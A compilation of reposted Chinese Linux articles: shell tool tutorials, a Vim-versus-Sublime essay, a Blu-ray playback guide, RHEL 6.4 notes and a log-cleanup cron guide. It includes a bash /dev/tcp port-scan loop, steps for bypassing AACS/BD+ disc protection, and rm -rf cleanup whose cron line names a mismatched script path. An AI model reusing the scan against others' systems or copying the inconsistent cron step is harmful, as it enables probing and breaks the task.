  • 支持电池供电高速缓存的硬件RAID。
  • 推荐使用RAID 10。如果负载为读密集型,RAID 5也是合适的。
  • 2个网卡和2个供电单元用作冗余。

另外,白皮书还有一些针对MySQL集群和数据存储设备的建议,再就是用于监控、备份和集群管理的解决方案。

查看英文原文:MySQL Reference Architectures for Small to Extra Large Websites 

via http://www.linuxeden.com/html/database/20130319/137133.html

Linux:10个工具让你的 shell 脚本更强大

很多人误以为shell脚本只能在命令行下使用。其实shell也可以调用一些GUI组件,例如菜单,警告框,进度条等等。你可以控制最终的输出,光标位置还有各种输出效果。下面我将介绍一些工具,帮助你创建强大的,互动的,用户友好的 Unix/Linux shell脚本。我在FreeBSD和Linux下测试过这些工具,不过其他UNIX系列的操作系统应该都支持的。 

1. notify-send 命令

这个命令可以让你通过通知进程发送一个桌面通知给用户。这可以用来向用户发送提示,或者显示一些信息而不用打断用户工作。你需要安装如下软件包: 

$ sudo apt-get install libnotify-bin

下面这个例子展示了如何从命令行向桌面发送一个简单的消息: 

notify-send "rsnapshot done :)" 

输出:  下面是一个复杂一点的例子: 

....
alert=18000
live=$(lynx --dump http://money.rediff.com/ | grep 'BSE LIVE' | awk '{ print $5}' | sed 's/,//g;s/\.[0-9]*//g')
[ $notify_counter -eq 0 ] && [ $live -ge $alert ] && { notify-send -t 5000 -u low -i   "BSE Sensex touched 18k";  notify_counter=1; }
...

输出:  这里的参数解释如下: 

  •  -t 5000:指定超时的时间,毫秒
  •  -u low:设置是否紧急
  •  -i gtk-dialog-info:通知图标,你可以指定图标 -i /path/to/your-icon.png

2. tput 命令

这个命令是用来设置终端特性的: 

  •   移动光标
  •   获得终端信息
  •   设置前景和背景色
  •   设置粗体模式
  •   设置反模式等等

举例: 

#!/bin/bash
# clear the screen
tput clear
# Move cursor to screen location X,Y (top left is 0,0)
tput cup 3 15
# Set a foreground colour using ANSI escape
tput setaf 3
echo "XYX Corp LTD."
tput sgr0
tput cup 5 17
# Set reverse video mode
tput rev
echo "M A I N - M E N U"
tput sgr0
tput cup 7 15
echo "1. User Management"
tput cup 8 15
echo "2. Service Management"
tput cup 9 15
echo "3. Process Management"
tput cup 10 15
echo "4. Backup"
# Set bold mode
tput bold
tput cup 12 15
read -p "Enter your choice [1-4] " choice
tput clear
tput sgr0
tput rc

输出:  

3. setleds 命令 

这个命令可以让你控制键盘灯,例如打开数字键盘灯: 

setleds -D +num

关闭数字键盘灯: 

setleds -D -num
  •   -caps: 清除大写灯
  •   +caps:打开大写灯
  •   -scroll:清除滚动锁
  •   +scroll:打开滚动锁

4. zenity 命令

这个命令可以显示GTK+的对话框,然后返回用户的输入。你可以用这个命令在脚本中显示信息,并要求用户输入信息。下面这段代码就是域名的whois查询: 

#!/bin/bash
# Get domain name
_zenity="/usr/bin/zenity"
_out="/tmp/whois.output.$$"
domain=$(${_zenity} --title  "Enter domain" \
                --entry --text "Enter the domain you would like to see whois info" )
if [ $? -eq 0 ]
then
  # Display a progress dialog while searching whois database
  whois $domain  | tee >(${_zenity} --width=200 --height=100 \
                      --title="whois" --progress \
                        --pulsate --text="Searching domain info..." \
                                    --auto-kill --auto-close \
                                    --percentage=10) >${_out}
  # Display back output
  ${_zenity} --width=800 --height=600  \
         --title "Whois info for $domain" \
         --text-info --filename="${_out}"
else
  ${_zenity} --error \
         --text="No input provided"
fi

输出: Fig.04: zenity in Action 

5. kdialog 命令 

这个命令和zenity很想,只不过它是为KDE/QT应用准备的。使用方法如下: 

kdialog --dontagain myscript:nofilemsg --msgbox "File: '~/.backup/config' not found."

输出  你可以查看 shell scription with KDE Dialogs 来获取更多信息 

6. Dialog 

这个命令可以在shell脚本中显示文本组件。它使用了curses和ncurses类库。示例代码: 

>#!/bin/bash
dialog --title "Delete file" \
--backtitle "Linux Shell Script Tutorial Example" \
--yesno "Are you sure you want to permanently delete \"/tmp/foo.txt\"?" 7 60
# Get exit status
# 0 means user hit [yes] button.
# 1 means user hit [no] button.
# 255 means user hit [Esc] key.
response=$?
case $response in
   0) echo "File deleted.";;
   1) echo "File not deleted.";;
   255) echo "[ESC] key pressed.";;
esac

 

7. logger 命令 

这个命令可以让你写入系统日志例如 /var/log/messages: 

logger "MySQL database backup failed."
tail -f /var/log/messages
logger -t mysqld -p daemon.error "Database Server failed"
tail -f /var/log/syslog

输出: Apr 20 00:11:45 vivek-desktop kernel: [38600.515354] CPU0: Temperature/speed normal Apr 20 00:12:20 vivek-desktop mysqld: Database Server failed 

8. setterm 命令 

这个命令可以设置中断的属性。下面的例子是强制屏幕全黑15分钟,并且60分钟后把显示器设为待机状态: 

setterm -blank 15 -powersave powerdown -powerdown 60

下面这段命令可以在中断显示加下划线的文字: 

setterm -underline on;
echo "Add Your Important Message Here"
setterm -underline off

或者你可以关闭光标: 

setterm -cursor off

9. smbclient:

向 MS-Windows 系统发送消息 smbclient可以和 SMB/CIFS服务器通信。它可以向MS-Windows系统的指定用户发送消息: 

smbclient -M WinXPPro <

或者 

echo "${Message}" | smbclient -M salesguy2

10. Bash Socket 编程 

你可以在bash中开启一个socket链接,并且传输数据。Bash有两个特殊的设备文件: 

  •   /dev/tcp/host/port - 如果hostname,和port是合法的话,bash会尝试开启一个TCP连接。
  •   /dev/udp/host/port - 如果hostname和port是合法的话,bash会开启一个UDP连接。

  你可以利用这个技术来测试一台主机的端口是否是开启的,而不需要使用nmap或者port扫描器: 

# find out if TCP port 25 open or not
(echo >/dev/tcp/localhost/25) &>/dev/null && echo "TCP port 25 open" || echo "TCP port 25 close"

你可以 使用循环来查找开着的端口: 

echo "Scanning TCP ports..."
for p in {1..1023}
do
  (echo >/dev/tcp/localhost/$p) >/dev/null 2>&1 && echo "$p open"
done

输出: Scanning TCP ports... 22 open 53 open 80 open 139 open 445 open 631 open 下面的这个例子让你的脚本扮演HTTP客户端: 

#!/bin/bash
exec 3<> /dev/tcp/${1:-www.cyberciti.biz}/80
printf "GET / HTTP/1.0\r\n" >&3
printf "Accept: text/html, text/plain\r\n" >&3
printf "Accept-Language: en\r\n" >&3
printf "User-Agent: nixCraft_BashScript v.%s\r\n" "${BASH_VERSION}"   >&3
printf "\r\n" >&3
while read LINE <&3
do
   # do something on $LINE
   # or send $LINE to grep or awk for grabbing data
   # or simply display back data with echo command
   echo $LINE
done

关于GUITools和Cronjob 

如果你使用cronjob来调用你的脚本的话,你要通过“ export DISPLAY=[user's machine]:0 ”命令来设置本地的 display/input 服务。例如调用 /home/vivek/scripts/monitor.stock.sh脚本,它使用了 zenity 工具: 

@hourly DISPLAY=:0.0 /home/vivek/scripts/monitor.stock.sh

所有的命令你都可以通过“man”来查询详细的使用方式。 

VIA http://www.oschina.net/question/28_39527

Linux:Just Use Sublime Text

声明原文地址本人仅作翻译,不代表本人所有观点。感谢作者 @andrewray 的翻译许可:)。

最初我只是想回复 reddit 上 Sublime Text 2 vs Vim 的问题,但写多了,无法发布,所以我放到博客。

TL;DR 虽然我在用 Vim,但我真的不向一个开发新手推荐它。

Vim: 你要它好用,则至少要读上两本书

对于一般的文本编辑,Vim 并不是一个高效的编辑器。它不会让你输入更快。在使用 Vim 的前一两年时间里,由于那些虽然可爱但也古怪的键绑定,你会发现,它的效率还不如你当前用的编辑器。大约两年后,你才会很熟练。

每个人都在谈 Vim 陡峭的学习曲线,却没人说,在你总算记住用 hjkl 来移动光标后是怎样。答案是数个月的沮丧后,你终于有一个可以用的编辑器,然后你知道一些很酷的技巧,在你日常工作中,只有1%的机会会用到。

把手指放在 Home 行的效率

关于 Vim 更高效的论据其实含糊不清,且不可验证。让手去拿鼠标或许真让你慢了下来,但现在开发者们所用的机器上,一般都可以用触控板来移动光标。通过点击屏幕上的字符,大部分新手程序员可以比 Vim 专家们的各式令人发指的招数快多了,比如键入 20jFp; 又或者 /word 又或者其他[l]。

鼠标在于让屏幕上的随意移动变得高效,并且它很擅长。不要妄想你可以打败它。只有在某些极端例子中才能勉强如此。

关于鼠标的争论还只是次要。真正的问题其实藏得更深。

插件与扩展能力1: 管理

Vim 插件社区有些既顽固又奇怪的缺点。想想看,Vim 大约于1991年就出来了。Pathogen,第一个被广泛使用、为人们所称赞的路径管理器,于2008年才释出!它让插件管理成为可能,而在那之前,你只能一遍遍地把插件目录拷入 Vim 文件夹中。我不开玩笑。甚至还有个狗屎一样的特殊格式用来做这些事,叫做 Vimball(VBA),它还被人称赞着呢。许多 Vim 插件脚本现在还在用着这种格式。想卸载几个月前你拷入10个文件夹的插件?想升级它?你会疯掉的。

Vim 吹嘘说它是一个可扩展的、可定制的编辑器,嗯,它是的。它可能是有史来可定制性最强的编辑器,但很可惜,我们直到最近才有一个不错的包管理方法。这太让人担心了。在 Pathogen 后两年多,Vundle 才出来。即便是 pathogen 和 vundle,与 Sublime Text 的 Package Control 插件比起来也差上太多。

而 Vim 的默认配置让情况变得尤其吓人。我无法再强调,普通的 Vim 是怎样糟糕。要想 Vim 可用,插件是必需。

插件与扩展能力2: 生态系统

Vim Scripts 网站。我吐。想像一下,这简直就是格式少一点、特性少一些、广告多许多的 CPAN 样子嘛。

大多数的 Vim 插件还不曾转移到 Github 项目上。 Vim Scripts 网站作为一个没有特色的托管站点,这也没什么,主要是它没有提供任何的好处。它有一个糟糕的界面,还鼓励用户使用 Vim Wiki 进行项目管理(后面还会聊到)。大部分的插件社区就围着这个让人呕吐的网站转。最近看到有[自动转换] Vim 脚本到 Github 项目的努力,也许不错,也许很糟糕。

插件与扩展3: Vimscript

啊,Vimscript。它很糟糕,而我们还在与其纠缠。如果你想写 Vim 插件,你必须要跟 Vimscript 打交道。它是个非常糟糕的语言。语法有点笨,但这可以原谅。Vimscript 最主要的问题在于,它不是一个语言。没人知道它。大部分我认识的 Vim 老手根本不知道 Vimscript。怎么会这样?因为它的文档非常糟糕,更糟糕的是,要在它上面查找帮助简直是个不可能完成的任务。

你也许能够在 Vim Wiki 上找到一个 Vimscript 教程(试着搜索下,看看它们的搜索是多么的糟糕,又一个不要用它的理由),但老实说,我觉得大部分作者都有些个性错乱。你找不到友好的、容易理解的、像讲故事一样的教程。它们是由机器及无感情的程序员编写的。

让我们假设一下,你想写个函数。好的。先看看函数的帮助。:help function。好吧,这不是我们想要的。再试试 :help vimscript,我猜是这个?这他妈是什么玩意儿啊。边注:几乎所有的 Vim 帮助都无比难用。幸运的是,有一些好的资源站点存在(Learn Vimscript the Hard Way)。

即是 Vimmer 也不想学 Vimscript。上帝保佑,希望 Vim 哪天可以有个不是 Vimscript 的语言可以给我们用。曾经有讨论说让 Vim 采用 ECMAScript(Re:replace VimScript),不过没人有勇气尝试,包括我自己。

插件与扩展4: 冲突

这是个大问题。Vim 缺乏现代编辑器所需的大量核心功能。比如 ctag 的整合,项目管理,项目浏览,(当然,我知道 :Sex 命令),以及其他一些基本的东西,在 Vim 中全都没有。这是因为设计时 Vim 根本就没打算编辑任何一个语言,可能 C 除外。这再坏不过了。理论上说,借由它的扩展能力,Vim 可以编辑任何一种语言,虽然在面对大型语言如 Java 或 Scala 时会有些难过。

嗯,我们需要一个项目式的文件浏览器。试试 NERDTree,很多人知道它。可是等等,在我关闭缓存时,NERDTree 总是会让某些莫名东西打开着。大部分人不知道 NERDTree tabs,可是没有它 NERDTree 是不完整的。嘿,而且由于 Vim 对整个 UI(后面还会聊到更多) 使用 monospace 字体的限制,界面看起来糟糕透了。不过我想这还不算太坏…

现在我们想找文件。试试 Vimgrep! 等一下,这个太烂。好吧,让我们试下 Command-T。等一下,这个让人难以置信的慢,又笨重,看起来不好使。嗯,CtrlP 好使点!可是它在做模糊搜索时 并不太对头,给我的结果也不准确。我是想要又慢又蠢呢,还是想快一点但却是错的?又或者我想操它丫的。

Sublime Text 的 Command-T 则运作正常,非常地不错,扫描文件也异常轻松。[2]

找到对的 Vim 插件就好像处在一个高级俱乐部里。大约在2年后你才会感觉好点,然后第3年又开始糟糕,然后…

回到冲突问题。由于 Vim 默认提供太少功能,以至于有太多的插件出现功能重复。需要 snippet 补齐?好,用 snipMate!可是等等,UltiSnips 要更好!再等等,如果你用 neocomplcache,则前面两个都可以见鬼去了(边注,即使有人提供1千亿,我也无法选个比 ‘neocomplcache’ 更糟糕的名称。)。现在则可以用 neosnippet!可是等等,如果你还有其他的自动补齐插件,它就无法工作了!所有的这些插件都保证毁掉 Vim 默认的、本已经复杂、混乱的自动补齐功能。

你的搜索插件会跟你的自动补齐插件冲突。你的语法插件会跟你的词典冲突。冲突是什么意思?它意味着 Vim 会随机吐出500行红色高亮的文字给你,但是只有一秒,就只是让你知道有什么东西被你弄坏了。在使用 indexed-search(你显然想要这个功能,但操蛋的是 Vim 默认并不提供) 时,如果你搜索的正则表达式非法,你会得到一些神秘的错误,里面有你从来没见过的函数名称。你会在启动 Vim 时看到大量闪过的红色文字,你读不到,拷不到,也保存不了,2秒后,它们就没了,然后突然的,你的编辑器慢得跟狗一样,然后你就得开始追捕插件女巫了[3]。

啊,Vim 的扩展性。

Vim 设计得很糟糕1:太太老了

每个人都将 Leader 值从反斜杠重映射给逗号。反斜杠被选中是因为,大约在1943年或其他什么年份里,它很容易敲到。而在现代键盘上,它的位置就太可怕了。重映射覆盖了逗号这个有用的击键,但为了避免古老的反斜杠 leader,这还是值得的。

你知道在 Vim 中处理多文件的建议方法是什么吗?是 arglist。大部分我的 Vim 老手朋友即不用 arglist 也不知道它是什么鬼玩意儿。这是个笨重的系统,用于把多文件填充到 Vim 的一个特殊内部列表中。有时它确实挺好用的(配合一些插件),可是,你整个 Vim 职业中可能只会用到三次。这是 Vim 的一个古怪而且过时、偏门的瑕疵。你会需要知道它的,大概在2.5年的时候。

Vim 设计得很糟糕2:GUI

Vim 设计于终端窗口中运行。这是为什么它的 GUI 明确地绑定给 monospaced 字体。终端窗口无法绘制 UI。我明白,我们得要用块或下划线或你所有的什么来绘制东西。好吧。我是在服务器上,我编辑文件可能只是对一些问题做个热修复,我不需要一个漂亮的编辑器来做这种工作。我只是需要编辑文件。

但是 Vim 注定是一个你在服务器上不必要经常用的编辑器。在服务器上,你也可以用 Pico,但没人长期用 Pico 编辑。后来,我们有了这些叫 GUI 的东西。它们真不错,很好看,也可用,并且针对事物会给出可视的象征。于是我们自然而然地希望我们的运行在 GUI 上的编辑器可以提供这些好处。

你知道比起终端的 Vim,MacVim 带来什么好处吗,视觉上的。它有样式化的标签页。这就是我们所得到的,也会是我们未来所会得到的。文件不能也不会仅为了可读性而填充空白。你不能一次在屏幕上显示一种以上字体大小。如果你要放大你的缓存广西,你同时放大了你的文件浏览器,你的命令行,你的状态栏。如果你想要一个可读性强点,非 monospaced 字体来样式化一个对话框,我想你会很忧伤的。

Vim 设计得很丑陋。它看起来就好像一个刚开始学会用 bash script 画牛的小孩做出来的。我们永远不会有minimap(一个非常漂亮的特性)。我们永远不会有多个光标。我们永远不会有一个漂亮的模糊文件查找工具,它会在合理的位置跳出来。我们不能为可用性把对话框摆放在任意地方。我们永远不会有一个可定制的对话框。你可以有的最接近的是 vim-powerline,但它仍是用块画出来的。老实说,Vim 的 UI 老了。当然,我主要是编辑文本,但我一天中大部分时候在使用它。我希望它看起来不错,让人感觉好点。Vim 有许多灵巧的装饰物,但大部分只是暴露出一个问题:我们没有真正的 GUI。

Vim 在缩进时非常差劲

不相信?好,将下面代码粘贴到一个空缓存中:

foo

:set ft=html 然后 gg=G。让我知道你看到什么了。说实在的,请不要告诉我你看到了什么。

因为某些奇迹的原因,Vim 在大多数缩进时非常差劲。你因为忘记正确缩进你的 JavaScript 文件,并且在使用 cindent、smarttab 及 shiftwidth 搞乱了一切后,你向插件求助,你会找到 javascript.vim,可是它运行得不太对,虽然也还有个分支版,可惜也有错误,然后还有些人给插件取同样的名字却完全不是一个内容。我不知道为什么事情会这么混乱,也许是我的错误,没有好好调查清楚,可是为什么竟然还要我自己配置我的编辑器来缩进常见语言?你早该知道的,Vim。

一生的 Vim 路,为了一个可以用的编辑器

*要在 Vim 中写程序,你得把程序跟 Vim 一起记在脑子里,你必须不停地想想你正在做什么。

也许这是件好事。也许它鼓励程序的高效与改进。可是你知道吗,我不想应付这些。我不想自己必须记住 @@ 是做什么的,:v/\v 又是做什么的,又或其他一堆东西仅为完成基本任务。虽然如此,我还是每周花至少一小时来练我的 Vim 功夫。但我真不想这样。我想编辑文件。我不想因为碰上一个难解的问题然后就得阅读另一篇教程仅为了可以正确重命名一个函数。我只是想做出东西。也许它是权宜之计。也许第10年时它一切就都值得了,因为我不用再为了做事而先想事。我不知道。

在使用四年 Vim,700行手写的 .vimrc 文件及45个插件后,我再也不能真城推荐别人开始 Vim 旅程

我希望我的同事能快速编辑文件。告诉他们使用 Vim 是否会是答案?它只会让他们数个月内都变慢。在科技行业中,这不实用。也许长期来看是有好处。又或者我只是不想应付它们的 Vim 旅程。

你看,小子,我喜欢你们,所以用 Sublime Text 吧。虽然事实是我是在 Vim 里写的这篇 post,因为我实在无法容忍在文本区域中写,大部分时候我只是输入文字,但我还是无法容忍。我是如此想念我的 Vim 移动方法。对的,我可能永远不会停止使用 Vim。

你将要且必须了解 Vim。如果你无法远程编辑文本,在科技世界里,你将没什么用。你会在一个终端窗口中,你会用 Vim 编辑。在 bash 里,如果不通过命令行输入 set -o vi 把键绑定设置为 Vi 的,你就觉得活不下去了,而我也会一直歧视你直到你真的开始使用它…

但是 Sublime 有 Vim 所没能有的东西。它是新的热门,有一个比 Vim 更加活跃的社区。而在过去一年中,如果你看到一个 Vim 插件更新了,那你真是太幸运了(不是我在贬低超级名星如 Tim Pope 那惊人的贡献,而是像他这样让人着迷的真的极少)。

Vim 是一个 毕生的旅程。即如现在,我想把我写的这80列宽的文本转换成不固定宽度的文本,我得去找找看怎么才能搞定。也许在这过程中我还能学到点什么。在四年的使用 Vim 后。

如果你发现 Sublime 不适合你,又或者觉得你失去了什么,那你可以试试 Vim。但只要一点点 Vim 知识就可以让你勉强应付服务器上编辑文件,你也可以使用 set -o vi,无需读一本书。

我的观点可能会在几年后改变,但是目前,如果你需要做个选择,请用 Sublime Text.

(噢,选择整个文本对象,然后 :set tw=1000 | norm gqie,好傻)

译注:以下为翻译有疑问的地方:

[1] Most novice programmers can click on a character on screen faster than an expert Vimmer can type 20jFp; or LkEEE or /word or any other nasty way Vimmers have to use because of our archaic, ingrained keystrokes.

[2] Padding around your text to make it readable? What a concept!

[3] You’ll see a huge red flash of text at startup that you can’t read, copy, nor save, and it goes away after 2 seconds, and suddenly your editor is slow a dog and you have to go plugin witch hunting.

 via http://www.zfanw.com/blog/just-use-sublime-text.html

Linux:如何在 Linux 平台下看蓝光影碟

随着蓝光光驱的价格逐步走低,这一未来高容量光存储介质也得到了更多人的认识。蓝光影碟更以它清晰的画面博得了电影发烧友的青睐。那么如何在 Linux 平台上欣赏蓝光影碟带来的视觉盛宴呢?

首先介绍下朝内市场上能见到的几种蓝光影碟:

  • 以 Blu-ray Ultra 为代表的 D 版蓝光,常见于各类音像店,单碟平均价格在 15~25 软妹币左右。此类蓝光影碟通过特殊软件从正版蓝光提取出来,除去了版权保护机制,然后写入 BD-R 载体。相比于以双层 DVD 为载体的 Real Blu-ray 伪蓝光而言,Blu-ray Ultra 的真正蓝光介质在一定程度上保证了有足够的容量放下未经二重压缩的视频和音轨。若是制品者不是太坑的话,原盘中的幕后花絮和交互式内容也可能保留。
  • 只有 AACS 加密的正版蓝光,仅见于海淘、音像店角落及收藏家手中,价格难以界定。属于早期蓝光制品,在 AACS 被爆掉之后就已经不在生产了。
  • 使用 BD+ 和 AACS 加密的正版蓝光,当下主要的正版蓝光影碟,见于各大电商和蓝光形象店,单碟平均价格在 50 ~ 100 左右。尽管朝内土地在蓝光分区时被归于 C 区,不过为了考虑到朝内复杂的蓝光回放设备来源,实际上不少在朝内正规渠道发行的蓝光影碟都是没有区域码的。不过相对在其他地区发行的版本,在附加内容上就有一些缩水了。 

下面以 Fedora 18 64bit 系统,先锋 BDC-207BK 蓝光康宝为例介绍如何在 Linux 下实现回放上面介绍的三种蓝光影碟。

在开始之前,请确保您的 Fedora 系统已经启用了 RPMFusion 仓库,并安装了 VLC Player:

pkcon install vlc

Blu-ray Ultra 蓝光影碟

VLC 从 2.0 开始已经可以理解蓝光影碟所用的 BDMV 和 BDAV 的结构,只是到目前为止蓝光交互式菜单的一直没有实现。于是对于不包含版权保护的 Blu-ray Ultra 是可以直接播放的。

如上图,在 VLC 文件菜单中选择打开光盘,格式选择为 Blu-ray,勾选上 “No discs menu” 即可。注意若忘记勾选后者的话可能会导致 VLC 崩溃哦~

仅使用 AACS 加密的蓝光影碟

播放仅包含 AACS 加密的蓝光影碟需要两个额外部分组件,一是公钥库文件,可以从这里下载(最后更新 2012 年 4 月 20 日),然后放置到 $HOME/.config/aacs/ 目录下即可。

另一个组件是 AACS 的开源实现动态链接库,可以从 rpmfusion 仓库里获得:

pkcon install libaacs

之后即可使用和打开 Blu-ray Ultra 同样的方式在 VLC 中播放仅有 AACS 加密的蓝光影碟了。

带有 BD+ 和 AACS 蓝光影碟

对于增添了 BD+ 保护的蓝光影碟情况则要复杂很多,要求一个可供 BD+ 虚拟机来运行版本验证程序,实现检查播放环境是否满足 HDCP 的安全播放要求的工作。目前来看只有来自GuinpinSoft 的 MakeMKV 可以比较完美的在 Linux 系统下模拟一个 BD+ 虚拟机并同时实现 AACS 解密。MakeMKV 是一款共享软件,其中 DVD 和 AVCHD 的流媒体及转码是免费的,对于蓝光则有 30 天体验的限制,在体验期过后需要购买价值 50 欧元的注册码。暂且将价格问题放到一边,先试试再说吧。

MakeMKV 由开源的设备驱动及图形界面,和闭源二进制的 BD+ 虚拟机实现等核心功能两部分组成。Linux 用户可以在官方论坛免费下载到这两部分,分别为 makemkv-oss 及 makemkv-bin。

接下来需要安装一些编译所依赖的软件包。官方论坛中列出了 Ubuntu 下的软件包,对于 Fedora 系统则可以使用如下命令安装:

pkcon install gcc-c++ glibc-devel openssl-devel expat-devel mesa-libGL-devel qt4-devel

然后分别解压之前的 makemkv-oss 和 makemkv-bin 压缩包,分别在各自的目录上执行以下命令,注意先从 makemkv-oss 开始 :

make -f makefile.linux

su -c ‘make -f makefile.linux install’

至此 MakeMKV 安装完成,剩下的操作就相当简单了。

  1. 在应用程序列表中找到 MakeMKV 并运行。
  2. 点击窗口中非常巨大的 “Open Blu-ray” 按钮开启蓝光影碟,大约十几秒之后即可看到蓝光影碟中的章节结构。
  3. 点击工具栏上的 Stream 按钮,请求 MakeMKV 创建以当前蓝光碟为内容的媒体服务器,媒体服务器的 URL 和端口号可以在下方的日志窗口中找到。
  4. 在本机的 VLC 或者同一局域网下的 VLC 中,选择“打开网络串流”,按照 URL:端口/stream/titleN.ts 的格式填入,其中 N 代表章节数字号,电影正片的章节号一般是 0 或者 1,通常是章节结构中占据空间最大的那个。
  5. 稍等后即可在 MakeMKV 窗口中看到客户端已连接的信息,同时显示光盘读取速度及播放缓存等信息。在 VLC 方面则和一般影片回放一样,亦可执行音轨切换和字幕切换等操作。

使用华纳在朝内正版发行的哈利波特蓝光全集测试,所有影片均可正常播放,中文字幕亦可调出。

此外还在 Xperia Z 上测试了 VLC for Android 远程回放,可以正常打开,但是受限于无线网络带宽,回放并不流畅。

具体截图稍后奉上。

除了可以将蓝光影碟架设成媒体服务器以外,MakeMKV 如同名字所示还支持从蓝光影碟生成 MKV 格式的文件,实现备份的功能。

MakeMKV 支持 Win32/64,Linux 32/64 及 OS X x86 以上操作系统,也是目前 OS X 和 Linux 系统下唯一能曲线实现正版蓝光影碟回放的方案。体验期之后 50 欧元的注册费用贵不贵,则由您自己考量咯~

总结

作为高清影片的指定光学载体,当下蓝光影碟在 Linux 系统上的回放远不及 DVD 那么成熟。MakeMKV 作为 OS X 和 Linux 下的唯一可行方案,仍有一定的上手难度,其偏高的注册授权费用,也是需要谨慎考虑的。

VIA http://www.linuxeden.com/html/softuse/20130405/137864.html

Linux:红帽企业版 Linux 6.4 试用体验

  红帽企业版Linux 6.4正式版已于2013年2月发布,下面介绍一下十天左右的使用感受,供广大网友参考。 对于多媒体以及办公方面笔者感觉Linux 在最近两三年已经做得相当不错了,可惜由于惯性原因还是不能占据桌面市场。还是看看笔者关心的企业级应用部分。

一、红帽企业版RHEL6.4的新功能

1、和微软的合作

  微软于2012 年初开始向Upstream的 linux 核心提供驱动程序。主要包括Hyper-V 的应用代码,所以在2012 Linux kernel development 报告中披露,微软对于Linux程序代码的贡献排名上升比例是大约1.1% ,如图1 。

https://dn-linuxcn.qbox.me/data/attachment/album/201304/06/183045ewmhbbnl4ynxm9m7.jpg

图1 微软对于Linux程序代码的贡献排名上升比例是大约1.1%

  在 Hyper-V 中对红帽企业版 Linux 6.4 集成的红帽企业版 Linux 虚拟机安装以及 Hyper-V 半虚拟设备支持可让用户在微软 Hyper-V hypervisor 顶层将红帽企业版 Linux 6.4 作为虚拟机运行。这将提高RHEL的整体性能对微软Hyper-V和微软的Azure用户持久虚拟机运行RHEL 6.4。另外在桌面操作方面Evolution邮件加入对于Microsoft Exchange和日历进化的支持。

2、文件系统和存储方面

  文件系统方面比较重要的改进是并行NFS(pNFS)客户端的加入,pNFS支持直接I / O更快的数据访问。这种驱动器I / O密集的用例,包括数据库工作负载特定的性能优势。Linux 内核在2.6.30 开始支持pNFS,目前是少数支持pNFS的操作系统。网络文件系统(Network File System,NFS)是大多数局域网(LAN)的重要组成部分。但 NFS 不适用于高性能计算中苛刻的输入输出密集型应用程序,至少以前是这样。NFS 标准的最新修改纳入了 Parallel NFS(pNFS),它是文件共享的并行实现,将传输速率提高了几个数量级。图2 是支持pNFS的NFS4.1 版本的示意图。

图2 支持pNFS的NFS4.1 版本

  在红帽企业版 Linux 6.4 中完全支持 pNFS.pNFS 支持 3 个不同的存储协议或者布局:文件、对象和块。红帽企业版 Linux 6.4 NFS 客户端支持文件布局协议。有关 pNFS 的详情请参考 http://www.pnfs.com/。另外LVM 现在可以创建、删除和重新定义 RAID10 逻辑卷大小。

  3、安全管理方面

  身份管理方面主要是SSSD的功能改进, 提高系统安全服务守护程序(SSSD)增强于Microsoft Active Directory中的互操作性的经验,在异构环境中提供集中身份的访问控制,适用于Linux / Unix客户端。在红帽企业版 Linux 6.4 中,已将 SSSD 改进为可让您为使用 SSSD 登录的用户选择 DIR: 缓存。这个功能是作为技术预览引进。需要说的是SSSD无需特殊设置使用system-config-authentication工具配置后会自动运行 。

  另外在防火墙方面还有一个小工具叫:退回防火墙配置。如果无法使用默认配置,iptables 和 ip6tables 服务现在提供分配退回防火墙配置的功能。如果采用 /etc/sysconfig/iptables 中的防火墙规则失败,则会采用现在的退回文件。退回文件名为 /etc/sysconfig/iptables.fallback,采用 iptables-save 文件格式(与/etc/sysconfig/iptables 相同)。如果采用退回文件仍失败,则没有进一步的退回设置。要生成退回文件,请使用标准防火墙配置工具,并将该文件重命名或者复制到退回文件中。在 ip6tables 服务中可采用同样的步骤,只需要使用 “ip6tables” 替换所有“iptables”。

Linux:Linux应用总结:自动删除n天前日志

  Linux 是一个很能自动产生文件的系统,日志、邮件、备份等。虽然现在硬盘廉价,我们可以有很多硬盘空间供这些文件浪费,让系统定时清理一些不需要的文件很有一种 爽快的事情。不用你去每天惦记着是否需要清理日志,不用每天收到硬盘空间不足的报警短信,想好好休息的话,让我们把这个事情交给机器定时去执行吧。

1.删除文件命令:

find 对应目录 -mtime +天数 -name “文件名” -exec rm -rf {} \;

  实例命令:

find /opt/soft/log/ -mtime +30 -name “*.log” -exec rm -rf {} \;

  说明:将/opt/soft/log/目录下所有30天前带”.log”的文件删除。

  具体参数说明如下:

find:linux的查找命令,用户查找指定条件的文件;

/opt/soft/log/:想要进行清理的任意目录;

-mtime:标准语句写法;

+30:查找30天前的文件,这里用数字代表天数;

“*.log”:希望查找的数据类型,”*.jpg”表示查找扩展名为jpg的所有文件,”*”表示查找所有文件,这个可以灵活运用,举一反三;

-exec:固定写法;

rm -rf:强制删除文件,包括目录;

{} \; :固定写法,一对大括号+空格+\+;

2.计划任务:

  若嫌每次手动执行语句太麻烦,可以将这小语句写到一个可执行shell脚本文件中,再设置cron调度执行,那就可以让系统自动去清理相关文件。

2.1创建shell:

touch /opt/soft/bin/auto-del-30-days-ago-log.sh

chmod +x auto-del-30-days-ago-log.sh

  新建一个可执行文件auto-del-30-days-ago-log.sh,并分配可运行权限

2.2编辑shell脚本:

vi auto-del-30-days-ago-log.sh

  编辑auto-del-30-days-ago-log.sh文件如下:

#!/bin/sh

find /opt/soft/log/ -mtime +30 -name “*.log” -exec rm -rf {} \;

  ok,保存退出(:wq)。

2.3计划任务:

#crontab -e

  将auto-del-30-days-ago-log.sh执行脚本加入到系统计划任务,到点自动执行

  输入:

10 0 * * * /opt/soft/log/auto-del-7-days-ago-log.sh >/dev/null 2>&1

  这里的设置是每天凌晨0点10分执行auto-del-7-days-ago-log.sh文件进行数据清理任务了。

  完成以上三步,你就再也不每天惦记是否硬盘空间满了,该清理日志文件了,再也不会受到服务器硬盘空间不足的报警信息了,放心的去看书喝咖啡去吧!

来自:http://www.cnblogs.com/peida/archive/2013/03/25/2980121.html

Linux:History(历史)命令用法 15 例

如果你经常使用 Linux 命令行,那么使用 history(历史)命令可以有效地提升你的效率。本文将通过实例的方式向你介绍 history 命令的 15 个用法。

1、使用 HISTTIMEFORMAT 显示时间戳

当你从命令行执行 history 命令后,通常只会显示已执行命令的序号和命令本身。如果你想要查看命令历史的时间戳,那么可以执行:

# export HISTTIMEFORMAT='%F %T '
# history | more
1  2008-08-05 19:02:39 service network restart
2  2008-08-05 19:02:39 exit
3  2008-08-05 19:02:39 id
4  2008-08-05 19:02:39 cat /etc/redhat-release

